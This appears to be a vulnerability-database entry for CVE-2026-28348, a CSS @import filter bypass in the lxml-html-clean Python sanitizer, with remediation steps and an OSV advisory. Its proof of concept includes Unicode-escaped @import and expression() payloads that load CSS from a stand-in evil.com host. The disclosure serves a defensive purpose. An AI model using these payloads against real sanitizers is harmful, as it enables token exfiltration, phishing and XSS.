CVE-2026-28348: Lxml html clean Lxml-html-clean Has CSS @import Filter Vulnerability
MODERATECVE-2026-28348 is a MODERATE (CVSS 6.1) lxml-html-clean has css @import filter vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Lxml html clean libraries in the PyPI ecosystem. The issue involves lxml-html-clean has css @import filter bypass via unicode escapes. Remediation is available by upgrading affected packages to version 0.4.4.
CVE-2026-28348 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-28348
To remediate this vulnerability, upgrade all affected Lxml html clean dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install lxml-html-clean>=0.4.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show lxml-html-clean
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-28348, inspect your installed packages using pip:
pip show lxml-html-clean
Analyze the terminal output to locate any version of Lxml html clean in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.4), your application is affected.
Note: The pip show lxml-html-clean command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Lxml html clean, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-28348 Affected Lxml html clean Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lxml-html-clean
|
PyPI |
< 0.4.4
|
0.4.4
|
References
Frequently Asked Questions
What is CVE-2026-28348?
Which Lxml html clean versions are affected?
What version fixes CVE-2026-28348?
Is lxml-html-clean affected?
What is the CVSS score of CVE-2026-28348?
What CWE is associated with CVE-2026-28348?
How can I check PyPI dependencies for CVE-2026-28348?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hw26-mmpg-fqfg",
"modified" : "2026-03-05T22:49:20Z",
"published" : "2026-03-02T19:19:15Z",
"aliases" : [ "CVE-2026-28348" ],
"summary" : "lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes",
"details" : "### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace('\\\\', '')\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html('<style>@import url(\"http://evil.com/x.css\");</style>')\n# Output: <div><style> url(\"http://evil.com/x.css\");</style></div>\n\n# Unicode escape bypass:\nresult = clean_html('<style>@\\\\69mport url(\"http://evil.com/x.css\");</style>')\nprint(result)\n# Output: <div><style>@\\69mport url(\"http://evil.com/x.css\");</style></div>\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "lxml-html-clean"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.4.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.4.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28348"
}, {
"type" : "WEB",
"url" : "https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/fedora-python/lxml_html_clean"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-116" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-02T19:19:15Z",
"nvd_published_at" : "2026-03-05T20:16:16Z"
}
}